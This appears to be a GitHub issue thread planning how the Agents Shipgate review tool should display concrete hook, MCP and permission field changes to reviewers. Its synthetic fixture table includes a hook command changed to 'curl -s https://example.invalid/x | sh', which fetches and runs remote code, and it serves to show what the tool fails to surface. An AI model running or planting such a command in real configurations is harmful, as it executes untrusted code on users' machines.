Show concrete field changes so an unfamiliar reviewer can act on the first advisory result

[pengfei-threemoonslab]

Problem

A reviewer should be able to identify what changed, inspect its evidence and decide the next action without a maintainer translating Agents Shipgate output. A row such as PostToolUse → PostToolUse, widened, high does not explain a matcher, command or timeout change.

The September 15 1.0.0 exploratory report (F6) observed that shape on Giskard#2618. The earlier MemWal#913 example displayed memwal → memwal while a package argument was pinned. These dated examples motivate a fixed-ref replay; they do not establish that every current path still behaves identically. Information loss and an unsupported direction classification must be diagnosed separately.

Proposed behavior

Start with #780/#786's advisory PR result and its linked report, reusing the shared capability rows and renderer. Make the changed subject and actual before/after values visible first. Keep the canonical project identity discoverable once.

For supported hook and MCP rows, expose the relevant field changes:

• Hooks: event, matcher, command summary and timeout where the reader establishes them.
• MCP launch configuration: the established command/argument change, including a version pin when safely displayable.
• Permission rules: actual added/removed/changed rules and their declaration source.

Use bounded detail with existing redaction. A detected declaration change does not itself prove widening, narrowing or effective runtime authority. Where direction is not established, publish the observed change and its limit through the compatible engine-owned contract; do not have a renderer invent a verdict.

Keep the evidence and a specific review question together. “Do we intend this declared permission change?” can be useful even when another reviewer already knows about it. Novelty is not an eligibility requirement for #811's value test.

Boundaries

• Removing a tracked hook declaration establishes removal from that declaration. Mention migration to local/generated configuration only when supported reference/generation evidence establishes it; otherwise name the unavailable scope.
• Pairing old/new entries for readability must not assume case-insensitive command semantics. Preserve meaningful case changes and distinct rules.
• Show what each host comparison checked, partially checked and could not establish #812 owns per-run coverage data; this renderer consumes it rather than inventing a parallel census.
• Reproduction belongs in the linked report with exercised refs/history/version. No compulsory reinstall, manifest, baseline or policy authoring.
• Explicit requests still return accurate no-change/incomplete status. Preserve quiet, deduplicated unsolicited notifications; do not append marketing or mandatory questions everywhere.
• Preserve all existing control/authority semantics and the Revisit the legacy repository skill after readiness: prove its value before restoring default invocation #690 disposition.

Acceptance

• Fixed-ref hook/MCP cases show actual changed fields rather than identical subject names alone. Separate direction defects from presentation defects, and track any engine correction explicitly.
• The selected shell-permission case from [Feature]: Make deterministic permission review tangible through a change–correction–recurrence loop #811 identifies the rule, before/after, evidence, scope limit and review question.
• No generated text asserts runtime loading, arbitrary script effects or migration to untracked files without supporting evidence.
• Shared CLI/maintained JSON/selected PR projections agree. Reuse existing fields; a demonstrably necessary schema addition follows STABILITY.md and tests old/new consumers.
• Tests cover bounded/omitted detail, sensitive arguments, incomplete inputs, explicit no-change and unsolicited deduplication.
• A local reproduction route exercises the actual intended refs/version. Existing working output is retained; changes address a demonstrated comprehension failure.
• Design-partner conversations: two waves of five and at least three real host diffs #653/Run the published advisory host-diff pilot: first reviewer value and the next eligible change #571 records whether an unfamiliar non-author reviewer can name the facts and act unaided. Engineering tests and observation shortfalls remain distinct from external value.
• No advisory result grants merge authority or weakens operational controls.

Sequence

P1, first product improvement in #811. Reuse #798's example work and #662's parity infrastructure. Coverage detail follows through #812; do not wait for expanded framework support or every reliability repair before observing a supported first result.

Parent #791; product-validation link #811. Related #652, #362, #463, #661, #779, #780, #440, #328, #653, #571.

Journey delivery - 2026-09-16

Program: #778. Delivery milestone: Adoption Phase 1 - A real change the reviewer understands. Accountable role: CLI/report engineering with product/research.

This is the first selected product improvement. Its consumer is a non-author reviewer who must name the actual field change, evidence, unresolved scope and a concrete next action without maintainer translation. Reuse the same row facts in CLI, maintained JSON and the selected #780 PR presentation. #812 supplies coverage; #811 uses these outputs for decisions and correction. Validate fixed-ref hook/MCP examples plus the chosen shell case; observe external comprehension through #653/#571. Do not call an observed configuration change widening unless the engine establishes that direction.

Planning checkpoints preserve #778's original 2026-09-14 start: Oct 14 / Nov 13 / Dec 13. They are evidence-review dates, not promises about external replies. Phases overlap; a later milestone never delays supported research, an already-possible correction or an individual four-week opportunity window. A named accountable owner is required before execution; the role here is not an assignment to an uninvolved person.

[pengfei-threemoonslab]

Split — 2026-09-16 (owner decision, see #778)

Slice 1 stays here (Phase 1). It needs no new grant fields:

• Permission rows show the disposition (allow: Bash(npm test *)).
• Replacements the engine already pairs, and identical rule text that only moved between dispositions, render as one before/after change. There is no heuristic or case-insensitive pairing. The engine-side pairing fix is Host diff misreads permission direction: :* narrowing reported as widening, a moved rule blocks pairing, a single MCP tool treated as wildcard #816.
• Comparable results that have rows carry the ⚠ marker, base and head short SHAs, the tool version, a copyable diff --base <sha> reproduction and the review question ("Does the team intend this declared permission change?"). No-change results stay compact.
• MCP rows render the differences in the fields already published (transport, endpoint, env_keys, header_keys).

Slice 2 moves to #819 (Phase 2): hook matcher, command summary and timeout, plus MCP args and version pin.

Direction defects are tracked separately: #820 covers hook, MCP and plugin edits labelled as widenings; #816 covers :*, moved-rule pairing and single MCP tools.

Synthetic fixture facts (main 9df307ab)

Head change, one commit	Row
PostToolUse matcher Edit → Edit|Write|Bash	⚠ high widened PostToolUse → PostToolUse
command bin/lint.sh → curl -s https://example.invalid/x | sh	identical
timeout 10 → 600	identical
early-exit guard prepended to the command (narrows)	identical (#820)
.mcp.json arg example-mcp-server@1.2.3 → @latest	⚠ high widened docs → docs

audit --host --json grant keys:

• hook: access, config_sha256, event, grant_id, host, kind, risk, scope, source. There is no matcher, command or timeout.
• mcp_server: endpoint is the executable basename (npx), and there are no args.

The edit is detected only through config_sha256. Showing these fields therefore needs engine-side fields added compatibly under STABILITY.md (#819), not only rendering. The full reproduction commands are in #819 and #820.